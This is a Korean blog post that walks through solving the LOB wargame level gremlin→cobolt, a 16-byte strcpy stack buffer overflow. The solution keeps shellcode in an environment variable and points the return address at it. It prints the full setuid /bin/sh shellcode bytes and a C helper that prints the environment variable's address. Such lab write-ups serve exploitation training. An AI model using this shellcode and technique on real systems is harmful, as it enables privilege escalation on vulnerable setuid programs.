[LOB] gremlin → cobolt
System/PWNABLE

[LOB] gremlin → cobolt

728x90

gate에서 gremlin으로 사용자 변경을 해주고 gate에서 얻은 gremlin의 비밀번호를 입력한다. 그리고 gate 단계에서 사용자만 변경했기 때문에 gate 권한의 디렉터리에서 gremlin 권한의 디렉터리로 옮겨준다.


Analyze

cobolt.c 코드

- small buffer로 buffer의 크기가 16byte밖에 안된다.

- strcpy 함수에서 스택 버퍼 오버플로우 취약점이 발생한다.

- buf[16] + SFP[4] + RET[4] = 24byte

- 32bit

- dynamically linked

- not stripped

 

debugging


Payload

버퍼의 크기가 쉘 코드를 모두 입력받기에 너무 작기 때문에 쉘코드를 환경변수로 저장하여 환경변수를 호출하도록 한다.

BUF+SFP (20) || RET (4 = SHCODE)

gate에서와 다르게 쉘 코드를 RET로 넣는 이유는 이미 환경변수를 생성하면서 쉘코드를 저장했고, 해당 환경 변수의 주소를 통해 쉘코드를 실행시킬 수 있게되었기 때문이다. 

\x31\xc0\xb0\x31\xcd\x80\x89\xc1\x89\xc3\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

위에서 만든 환경변수의 주소를 출력하는 함수를 작성한다.

#include <stdio.h>
int main(int argc, char *argv[]){
        printf("%p\n", getenv(argv[1]));
        return 0;
}

환경변수 SHCODE의 주소는 0xbffffda

!성공!

 

 

 

 

SMALL

'System > PWNABLE' 카테고리의 다른 글

[POXX 2020] tips  (0) 2021.01.19
[POXX 2020] investigator  (0) 2021.01.19
[LOB] gate → gremlin  (2) 2021.01.14
[Dreamhack] house_of_force  (0) 2020.11.08
[HackCTF] uaf  (0) 2020.09.20